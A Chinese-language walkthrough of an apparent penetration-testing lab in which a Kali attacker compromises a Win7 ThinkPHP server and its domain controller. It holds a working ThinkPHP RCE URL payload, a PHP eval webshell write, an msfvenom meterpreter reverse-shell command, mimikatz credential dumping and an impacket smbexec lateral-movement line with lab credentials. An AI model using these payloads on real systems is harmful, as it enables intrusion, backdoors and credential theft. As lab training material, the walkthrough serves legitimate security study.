实验环境

注意这里给 win7 和域控配置外网 IP 时,必须与 kali 攻击机在同一网段,不然 ping 不通。

  • win7 修改网络配置时需要管理员账密:sun\Administrator dc123.com

  • 关闭被攻击机的防火墙

  • 启动 win7 服务器

渗透过程

整体线路预览:

外网打点

访问 http://192.168.37.131 可以看到 ThinkPHP 页面

我们尝试利用 ThinPHP 的 RCE 漏洞拿 Webshell

  1. 确认 RCE 漏洞存在

在 kali 浏览器中访问:(把 IP 换成自己设置的 win7 的 IP)

http://192.168.115.131/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

页面返回这个,说明现在权限很高,存在漏洞

  1. 写入一句话木马

在浏览器地址栏中执行:

http://192.168.115.131/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST['cmd']);?^> > C:\phpStudy\PHPTutorial\WWW\public\shell.php

  1. 验证木马写入成功

访问 http://192.168.115.131/shell.php 看到白色空白页面,说明 webshell 写入成功

  1. 蚁剑连接

信息收集与权限提升

为了维持权限和方便使用工具,我们需要先制作一个反向 shell

  1. MSF 上线

打开一个终端,用 msfvenom 生成 Payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.84 LPORT=4444 -f exe -o shell.exe
  • LHOST 和 LPORT 必须和监听器一致。
  • 输出文件名为 shell.exe,保存在当前目录(如 /home/kali/Desktop/)。

  1. 在 MSF 中设置监听

启动 msfconsole

在 MSF 中设置监听器

  1. 通过蚁剑上传并执行

拖拽上传 shell.exe 之后,在蚁剑虚拟终端中执行:

C:\shell.exe

  1. 获取 Meterpreter 会话

记下 session id,这里为 1, 进入会话

  1. 添加内网路由

接下来进行信息收集

  • 执行 ipconfig /all

可以看到这里还有一个 192.168.52.143 的内网网卡,说明有域。

  • 执行 arp -a 寻找内网存活主机

也是成功发现了 IP 为 192.168.52.138 的 Win Server 2008 域控 DC

  • 使用 mimikatz 抓取域管理员的明文密码

在新版的 MSF 中,mimikatz 的功能已经被整合到了一个叫 kiwi 的模块里

    1. 在 meterpreter > 提示符下,输入命令:

    1. 使用 kiwi 模块提供的命令来抓取密码,最常用的是:

显示权限不足,那先来提权

先试试最简单的 getsystem

提权成功,再执行抓取明文密码的命令:creds_all

可以看到域管理员账密为 sun.com dc123.com

横向移动

使用 smbexec 模块来进行横向移动。

  1. 先将当前 Meterpreter 会话转为后台,退回到 msf

  1. 加载 smbexec

  1. 设置模块参数

说明

  • RHOSTS 是目标域控的 IP
  • SMBUser / SMBPass 是刚刚抓到的域管理员账号密码
  • LPORT 可以换成任意未被占用的端口

如果这种加载 smbexec 的方式行不通,可以这样:

python3 /usr/share/doc/python3-impacket/examples/smbexec.py SUN.COM/Administrator:dc123.com@192.168.52.138

可以看到横向移动成功

更多推荐